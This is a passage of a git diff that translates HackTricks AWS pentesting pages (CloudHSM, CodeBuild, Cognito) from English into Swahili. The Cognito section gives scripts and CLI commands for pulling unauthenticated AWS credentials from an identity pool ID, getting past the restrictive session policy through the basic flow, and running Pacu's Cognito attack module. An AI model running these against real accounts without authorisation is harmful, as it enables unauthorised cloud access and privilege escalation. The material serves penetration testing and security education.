kufuata sheria. -**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you. +**Na CloudHSM pekee wewe una ufikiaji wa funguo** na bila kuingia katika maelezo mengi, na CloudHSM unasimamia funguo zako mwenyewe. **Na KMS, wewe na Amazon mnasimamia funguo zenu pamoja**. AWS ina sera nyingi za kulinda dhidi ya matumizi mabaya na **bado haiwezi kufikia funguo zako katika suluhisho zote mbili**. Tofauti kuu ni kufuata sheria linapokuja suala la umiliki na usimamizi wa funguo, na kwa CloudHSM, hiki ni kifaa cha hardware ambacho unakisadia na kudumisha kwa ufikiaji wa kipekee kwako na wewe pekee. ### CloudHSM Suggestions -1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. -2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. -3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear. -4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed. -5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool. -6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. -7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source. +1. Daima weka CloudHSM katika **mpangilio wa HA** na vifaa viwili angalau katika **mikoa tofauti ya upatikanaji**, na ikiwa inawezekana, weka kifaa cha tatu ama kwenye eneo lako au katika eneo lingine la AWS. +2. Kuwa makini unapofanya **kuanzisha** **CloudHSM**. Kitendo hiki **kitaharibu funguo**, hivyo kuwa na nakala nyingine ya funguo au kuwa na uhakika kabisa kwamba huna na kamwe, kamwe hutahitaji funguo hizi kusimbua data yoyote. +3. CloudHSM inasaidia tu **matoleo fulani ya firmware** na programu. Kabla ya kufanya sasisho lolote, hakikisha firmware na au programu inasaidiwa na AWS. Unaweza daima kuwasiliana na msaada wa AWS kuthibitisha ikiwa mwongozo wa sasisho haujakuwa wazi. +4. **Mipangilio ya mtandao haipaswi kubadilishwa.** Kumbuka, iko katika kituo cha data cha AWS na AWS inafuatilia vifaa vya msingi kwa ajili yako. Hii inamaanisha kwamba ikiwa vifaa vitashindwa, watakubadilishia, lakini tu ikiwa wanajua kimefeli. +5. **SysLog forward haipaswi kuondolewa au kubadilishwa**. Unaweza daima **kuongeza** SysLog forwarder ili kuelekeza kumbukumbu kwa zana yako ya ukusanyaji. +6. Mipangilio ya **SNMP** ina vizuizi sawa vya msingi kama mtandao na folda ya SysLog. Hii **haipaswi kubadilishwa au kuondolewa**. Mipangilio ya **ziada** ya SNMP ni sawa, hakikisha tu hujabadilisha ile ambayo tayari ipo kwenye kifaa. +7. Tofauti na mazoea mengine mazuri kutoka AWS ni **kutobadilisha mipangilio ya NTP**. Haijulikani nini kitafanyika ikiwa utafanya hivyo, hivyo kumbuka kwamba ikiwa hutatumia mipangilio sawa ya NTP kwa suluhisho lako lote basi unaweza kuwa na vyanzo viwili vya wakati. Kuwa makini na hili na ujue kwamba CloudHSM inapaswa kubaki na chanzo cha NTP kilichopo. -The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month. +Ada ya uzinduzi wa awali kwa CloudHSM ni $5,000 kuandaa kifaa cha hardware kilichotolewa kwa matumizi yako, kisha kuna ada ya saa inayohusiana na kuendesha CloudHSM ambayo kwa sasa ni $1.88 kwa saa ya operesheni, au takriban $1,373 kwa mwezi. -The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**. +Sababu ya kawaida ya kutumia CloudHSM ni viwango vya kufuata sheria ambavyo unapaswa kukutana navyo kwa sababu za udhibiti. **KMS haitoi msaada wa data kwa funguo zisizo za simetriki. CloudHSM inakuruhusu kuhifadhi funguo zisizo za simetriki kwa usalama**. -The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. +**Funguo ya umma imewekwa kwenye kifaa cha HSM wakati wa kuandaa** ili uweze kufikia mfano wa CloudHSM kupitia SSH. ### What is a Hardware Security Module -A hardware security module (HSM) is a dedicated cryptographic device that is used to generate, store, and manage cryptographic keys and protect sensitive data. It is designed to provide a high level of security by physically and electronically isolating the cryptographic functions from the rest of the system. +Moduli ya usalama wa hardware (HSM) ni kifaa maalum cha cryptographic kinachotumika kuzalisha, kuhifadhi, na kusimamia funguo za cryptographic na kulinda data nyeti. Imepangwa kutoa kiwango cha juu cha usalama kwa kutenga kimwili na kielektroniki kazi za cryptographic kutoka kwa mfumo mzima. -The way an HSM works can vary depending on the specific model and manufacturer, but generally, the following steps occur: +Njia ambayo HSM inafanya kazi inaweza kutofautiana kulingana na mfano maalum na mtengenezaji, lakini kwa ujumla, hatua zifuatazo hufanyika: -1. **Key generation**: The HSM generates a random cryptographic key using a secure random number generator. -2. **Key storage**: The key is **stored securely within the HSM, where it can only be accessed by authorized users or processes**. -3. **Key management**: The HSM provides a range of key management functions, including key rotation, backup, and revocation. -4. **Cryptographic operations**: The HSM performs a range of cryptographic operations, including encryption, decryption, digital signature, and key exchange. These operations are **performed within the secure environment of the HSM**, which protects against unauthorized access and tampering. -5. **Audit logging**: The HSM logs all cryptographic operations and access attempts, which can be used for compliance and security auditing purposes. +1. **Uzalishaji wa funguo**: HSM inazalisha funguo za cryptographic za nasibu kwa kutumia jenereta ya nambari salama ya nasibu. +2. **Hifadhi ya funguo**: Funguo **zinahifadhiwa kwa usalama ndani ya HSM, ambapo zinaweza kufikiwa tu na watumiaji au michakato walioidhinishwa**. +3. **Usimamizi wa funguo**: HSM inatoa anuwai ya kazi za usimamizi wa funguo, ikiwa ni pamoja na mzunguko wa funguo, akiba, na kufutwa. +4. **Operesheni za cryptographic**: HSM inafanya anuwai ya operesheni za cryptographic, ikiwa ni pamoja na usimbuaji, usimbuaji wa data, saini ya dijitali, na kubadilishana funguo. Operesheni hizi **zinafanywa ndani ya mazingira salama ya HSM**, ambayo inalinda dhidi ya ufikiaji usioidhinishwa na uharibifu. +5. **Kumbukumbu za ukaguzi**: HSM inarekodi operesheni zote za cryptographic na majaribio ya ufikiaji, ambayo yanaweza kutumika kwa ajili ya kufuata sheria na ukaguzi wa usalama. -HSMs can be used for a wide range of applications, including secure online transactions, digital certificates, secure communications, and data encryption. They are often used in industries that require a high level of security, such as finance, healthcare, and government. +HSM zinaweza kutumika kwa anuwai ya matumizi, ikiwa ni pamoja na miamala salama ya mtandaoni, vyeti vya dijitali, mawasiliano salama, na usimbuaji wa data. Mara nyingi hutumiwa katika sekta zinazohitaji kiwango cha juu cha usalama, kama vile fedha, huduma za afya, na serikali. -Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure. +Kwa ujumla, kiwango cha juu cha usalama kinachotolewa na HSM kinaufanya **kuwa vigumu sana kutoa funguo za asili kutoka kwao, na kujaribu kufanya hivyo mara nyingi kunachukuliwa kama uvunjaji wa usalama**. Hata hivyo, kunaweza kuwa na **hali fulani** ambapo **funguo za asili zinaweza kutolewa** na wafanyakazi walioidhinishwa kwa madhumuni maalum, kama katika kesi ya utaratibu wa urejeleaji wa funguo. ### Enumeration - ``` TODO ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index bd54cd791..bdecd27be 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,30 +4,29 @@ ## CodeBuild -AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass: +AWS **CodeBuild** inatambulika kama **huduma ya ushirikiano wa kuendelea inayosimamiwa kikamilifu**. Kusudi kuu la huduma hii ni kuharakisha mchakato wa kukusanya msimbo wa chanzo, kutekeleza majaribio, na kufunga programu kwa ajili ya matumizi ya kutekeleza. Faida kuu inayotolewa na CodeBuild inapatikana katika uwezo wake wa kupunguza hitaji la watumiaji kuandaa, kusimamia, na kupanua seva zao za kujenga. Urahisi huu unatokana na ukweli kwamba huduma yenyewe inasimamia kazi hizi. Vipengele muhimu vya AWS CodeBuild vinajumuisha: -1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance. -2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process. -3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment. +1. **Huduma Inayosimamiwa**: CodeBuild inasimamia na kupanua seva za kujenga, ikiwatoa watumiaji kwenye matengenezo ya seva. +2. **Ushirikiano wa Kuendelea**: Inashirikiana na mchakato wa maendeleo na utekelezaji, ikiharakisha hatua za kujenga na majaribio ya mchakato wa kutolewa kwa programu. +3. **Uzalishaji wa Kifurushi**: Baada ya hatua za kujenga na majaribio, inatayarisha vifurushi vya programu, ikifanya kuwa tayari kwa utekelezaji. -AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability. +AWS CodeBuild inajumuika kwa urahisi na huduma nyingine za AWS, ikiongeza ufanisi na uaminifu wa mchakato wa CI/CD (Ushirikiano wa Kuendelea/Utekelezaji wa Kuendelea). ### **Github/Gitlab/Bitbucket Credentials** #### **Default source credentials** -This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials. +Hii ni chaguo la urithi ambapo inawezekana kuunda **ufikiaji** (kama token ya Github au programu) ambayo itakuwa **inasambazwa kati ya miradi ya codebuild** ili miradi yote iweze kutumia seti hii ya akreditivu iliyowekwa. -The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs. +Akreditivu zilizohifadhiwa (tokens, nywila...) zinazosimamiwa na **codebuild** na hakuna njia ya umma ya kuzirejesha kutoka kwa AWS APIs. #### Custom source credential -Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**. +Kulingana na jukwaa la hifadhi (Github, Gitlab na Bitbucket) chaguzi tofauti zinatolewa. Lakini kwa ujumla, chaguo lolote linalohitaji **kuhifadhi token au nywila litahifadhiwa kama siri katika meneja wa siri**. -This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one. +Hii inaruhusu **miradi tofauti ya codebuild kutumia ufikiaji tofauti ulioanzishwa** kwa watoa huduma badala ya kutumia tu ile iliyowekwa kama chaguo la kawaida. ### Enumeration - ```bash # List external repo creds (such as github tokens) ## It doesn't return the token but just the ARN where it's located @@ -48,10 +47,9 @@ aws codebuild list-build-batches-for-project --project-name aws codebuild list-reports aws codebuild describe-test-cases --report-arn ``` - ### Privesc -In the following page, you can check how to **abuse codebuild permissions to escalate privileges**: +Katika ukurasa ufuatao, unaweza kuangalia jinsi ya **kudhulumu ruhusa za codebuild ili kupandisha hadhi**: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md @@ -74,7 +72,3 @@ In the following page, you can check how to **abuse codebuild permissions to esc - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index c870c1791..aec66f970 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,16 +4,16 @@ ## Cognito -Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple. +Amazon Cognito inatumika kwa ajili ya **uthibitishaji, ruhusa, na usimamizi wa watumiaji** katika programu za wavuti na simu. Inawapa watumiaji uwezo wa kuingia moja kwa moja kwa kutumia **jina la mtumiaji na nenosiri** au kwa njia isiyo ya moja kwa moja kupitia **mtu wa tatu**, ikiwa ni pamoja na Facebook, Amazon, Google, au Apple. -Central to Amazon Cognito are two primary components: +Kati ya Amazon Cognito kuna vipengele viwili vikuu: -1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**. -2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication. +1. **User Pools**: Hizi ni saraka zilizoundwa kwa ajili ya watumiaji wa programu yako, zikitoa **uwezo wa kujiandikisha na kuingia**. +2. **Identity Pools**: Hizi ni muhimu katika **kuidhinisha watumiaji kupata huduma tofauti za AWS**. Hazihusiki moja kwa moja katika mchakato wa kuingia au kujiandikisha lakini ni muhimu kwa ufikiaji wa rasilimali baada ya uthibitishaji. ### **User pools** -To learn what is a **Cognito User Pool check**: +Ili kujifunza ni nini **Cognito User Pool check**: {{#ref}} cognito-user-pools.md @@ -21,14 +21,13 @@ cognito-user-pools.md ### **Identity pools** -The learn what is a **Cognito Identity Pool check**: +Ili kujifunza ni nini **Cognito Identity Pool check**: {{#ref}} cognito-identity-pools.md {{#endref}} ## Enumeration - ```bash # List Identity Pools aws cognito-identity list-identity-pools --max-results 60 @@ -72,7 +71,6 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id ## Get risk configuration aws cognito-idp describe-risk-configuration --user-pool-id ``` - ### Identity Pools - Unauthenticated Enumeration Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles). @@ -100,7 +98,3 @@ Even if you **don't know a valid username** inside Cognito, you might be able to {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 024c7ea91..90b2dbdc5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,14 +4,13 @@ ## Basic Information -Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include: +Identity pools hutoa jukumu muhimu kwa kuwezesha watumiaji wako **kupata akreditif za muda mfupi**. Akreditif hizi ni muhimu kwa kupata huduma mbalimbali za AWS, ikiwa ni pamoja na lakini sio tu Amazon S3 na DynamoDB. Kipengele muhimu cha identity pools ni msaada wao kwa watumiaji wa wageni wasiojulikana na anuwai ya watoa huduma za utambulisho kwa ajili ya uthibitishaji wa mtumiaji. Watoa huduma wa utambulisho wanaoungwa mkono ni pamoja na: - Amazon Cognito user pools -- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple -- Providers compliant with OpenID Connect (OIDC) -- SAML (Security Assertion Markup Language) identity providers -- Developer authenticated identities - +- Chaguzi za kuingia za kijamii kama Facebook, Google, Login with Amazon, na Sign in with Apple +- Watoa huduma wanaofuata OpenID Connect (OIDC) +- Watoa huduma za utambulisho wa SAML (Security Assertion Markup Language) +- Utambulisho wa watengenezaji walioidhinishwa ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -24,74 +23,66 @@ identity_pool_id = 'your-identity-pool-id' # Add an identity provider to the identity pool response = client.set_identity_pool_roles( - IdentityPoolId=identity_pool_id, - Roles={ - 'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', - 'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', - } +IdentityPoolId=identity_pool_id, +Roles={ +'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', +'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', +} ) # Print the response from AWS print(response) ``` - ### Cognito Sync -To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs. +Ili kuunda vikao vya Identity Pool, unahitaji kwanza **kuunda na Identity ID**. Hii Identity ID ni **kitambulisho cha kikao cha mtumiaji huyo**. Vitambulisho hivi vinaweza kuwa na hadi seti 20 za data ambazo zinaweza kuhifadhi hadi 1MB ya jozi za funguo-thamani. -This is **useful to keep information of a user** (who will be always using the same Identity ID). +Hii ni **faida kwa kuhifadhi taarifa za mtumiaji** (ambaye atakuwa akitumia kila wakati Identity ID ile ile). -Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...). +Zaidi ya hayo, huduma **cognito-sync** ni huduma inayoruhusu **kusimamia na kusawazisha taarifa hizi** (katika seti za data, kutuma taarifa katika mitiririko na ujumbe wa SNS...). ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli "cognito\_\_enum" na "cognito\_\_attack" ambazo zinaweza kujiendesha katika kuhesabu mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia kujiendesha katika uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za kuaminika za identity pool, majukumu yanayoweza kuchukuliwa katika vitambulisho vya id, nk. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Kwa maelezo ya kazi za moduli, angalia sehemu ya 2 ya [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Kwa maelekezo ya usakinishaji, angalia ukurasa mkuu wa [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Usage -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: - +Mfano wa matumizi ya cognito\_\_attack kujaribu uundaji wa mtumiaji na njia zote za privesc dhidi ya identity pool na mteja wa user pool uliopewa: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` +Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Mfano wa matumizi ya cognito\_\_enum kukusanya kila mzunguko wa mtumiaji, wateja wa mzunguko wa mtumiaji, mizunguko ya kitambulisho, watumiaji, nk. wanaoonekana katika akaunti ya sasa ya AWS: ```bash Pacu (new:test) > run cognito__enum ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na uundaji wa akaunti zisizohitajika na kupandisha hadhi ya mchanganyiko wa utambulisho. #### Installation - ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Matumizi ```bash $ cognito-scanner --help ``` - For more information check https://github.com/padok-team/cognito-scanner ## Accessing IAM Roles ### Unauthenticated -The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable). +Jambo pekee ambalo mshambuliaji anahitaji kujua ili **kupata AWS credentials** katika programu ya Cognito kama mtumiaji asiyejulikana ni **Identity Pool ID**, na **ID hii inapaswa kuwa hardcoded** katika **programu** ya wavuti/mobaili ili kuitumia. ID inaonekana kama hii: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (haiwezi kufanywa kwa nguvu). > [!TIP] -> The **IAM Cognito unathenticated role created via is called** by default `Cognito_Unauth_Role` - -If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with: +> **IAM Cognito unathenticated role iliyoundwa kupitia inaitwa** kwa default `Cognito_Unauth_Role` +Ikiwa unapata Identity Pools ID iliyohifadhiwa na inaruhusu watumiaji wasiothibitishwa, unaweza kupata AWS credentials kwa: ```python import requests @@ -105,8 +96,8 @@ r = requests.post(url, json=params, headers=headers) json_resp = r.json() if not "IdentityId" in json_resp: - print(f"Not valid id: {id_pool_id}") - exit +print(f"Not valid id: {id_pool_id}") +exit IdentityId = r.json()["IdentityId"] @@ -117,23 +108,19 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` - -Or you could use the following **aws cli commands**: - +Au unaweza kutumia amri zifuatazo za **aws cli**: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` - > [!WARNING] -> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section. +> Kumbuka kwamba kwa kawaida mtumiaji wa cognito **asiye na uthibitisho HANA ruhusa yoyote, hata kama ilitolewa kupitia sera**. Angalia sehemu ifuatayo. -### Enhanced vs Basic Authentication flow +### Mchakato wa Uthibitishaji wa Juu vs Msingi -The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services). - -However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**. +Sehemu ya awali ilifuata **mchakato wa uthibitishaji wa juu wa kawaida**. Mchakato huu unakagua **sera ya kikao** [**inayozuia**](../../aws-basic-information/#session-policies) kwa kikao cha jukumu la IAM kilichoundwa. Sera hii itaruhusu kikao [**kutumia huduma kutoka orodha hii**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (hata kama jukumu lilikuwa na ufikiaji wa huduma nyingine). +Hata hivyo, kuna njia ya kupita hii, ikiwa **kikundi cha Utambulisho kina "Mchakato wa Msingi (Classic) ulioanzishwa"**, mtumiaji ataweza kupata kikao kwa kutumia mchakato huo ambao **hautakuwa na sera hiyo ya kikao inayozuia**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -145,51 +132,46 @@ aws cognito-identity get-open-id-token --identity-id --no-sign ## If you don't know the role_arn use the previous enhanced flow to get it aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` - > [!WARNING] -> If you receive this **error**, it's because the **basic flow is not enabled (default)** +> Ikiwa unapokea **kosa** hili, ni kwa sababu **mchakato wa msingi haujawezeshwa (default)** > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/). +Kuwa na seti ya akreditif za IAM unapaswa kuangalia [ni upatikanaji gani unao](../../#whoami) na kujaribu [kuinua mamlaka](../../aws-privilege-escalation/). ### Authenticated > [!NOTE] -> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials. +> Kumbuka kwamba **watumiaji walioidhinishwa** huenda wakapewa **idhini tofauti**, hivyo ikiwa unaweza **kujiandikisha ndani ya programu**, jaribu kufanya hivyo na kupata akreditif mpya. -There could also be **roles** available for **authenticated users accessing the Identity Poo**l. +Pia kunaweza kuwa na **majukumu** yanayopatikana kwa **watumiaji walioidhinishwa wanaofikia Hifadhi ya Utambulisho**. -For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**. +Kwa hili unaweza kuhitaji kuwa na ufikiaji wa **mtoa utambulisho**. Ikiwa hiyo ni **Cognito User Pool**, labda unaweza kutumia tabia ya default na **kuunda mtumiaji mpya mwenyewe**. > [!TIP] -> The **IAM Cognito athenticated role created via is called** by default `Cognito_Auth_Role` +> **IAM Cognito athenticated role iliyoundwa kupitia inaitwa** kwa default `Cognito_Auth_Role` -Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured). +Hata hivyo, **mfano ufuatao** unatarajia kwamba tayari umeingia ndani ya **Cognito User Pool** inayotumika kufikia Hifadhi ya Utambulisho (usisahau kwamba aina nyingine za watoa utambulisho zinaweza pia kuanzishwa). 
aws cognito-identity get-id \
-    --identity-pool-id <identity_pool_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id <identity_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
-# Get the identity_id from the previous commnad response
+# Pata identity_id kutoka kwa jibu la amri ya awali
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# In the IdToken you can find roles a user has access because of User Pool Groups
-# User the --custom-role-arn to get credentials to a specific role
+# Katika IdToken unaweza kupata majukumu ambayo mtumiaji ana ufikiaji kwa sababu ya Makundi ya User Pool
+# Tumia --custom-role-arn kupata akreditif kwa jukumu maalum
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
+--identity-id <identity_id> \
     --custom-role-arn <role_arn> \
     --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
> [!WARNING] -> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**. +> Inawezekana **kuunda majukumu tofauti ya IAM kulingana na mtoa utambulisho** ambaye mtumiaji anaingia au hata kulingana **na mtumiaji** (kwa kutumia madai). Hivyo, ikiwa una ufikiaji wa watumiaji tofauti kupitia watoa sawa au tofauti, inaweza kuwa **na faida kuingia na kufikia majukumu ya IAM ya wote**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 08e06fb45..521b85c9d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -4,30 +4,29 @@ ## Basic Information -A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. +Maktaba ya mtumiaji ni directory ya watumiaji katika Amazon Cognito. Kwa maktaba ya mtumiaji, watumiaji wako wanaweza **kuingia kwenye programu yako ya wavuti au simu** kupitia Amazon Cognito, **au kuunganishwa** kupitia mtoa huduma wa kitambulisho wa **third-party** (IdP). Iwe watumiaji wako wanaingia moja kwa moja au kupitia upande wa tatu, wanachama wote wa maktaba ya mtumiaji wana wasifu wa directory ambao unaweza kufikia kupitia SDK. -User pools provide: +Maktaba za watumiaji zinatoa: -- Sign-up and sign-in services. -- A built-in, customizable web UI to sign in users. -- Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool. -- User directory management and user profiles. -- Security features such as multi-factor authentication (MFA), checks for compromised 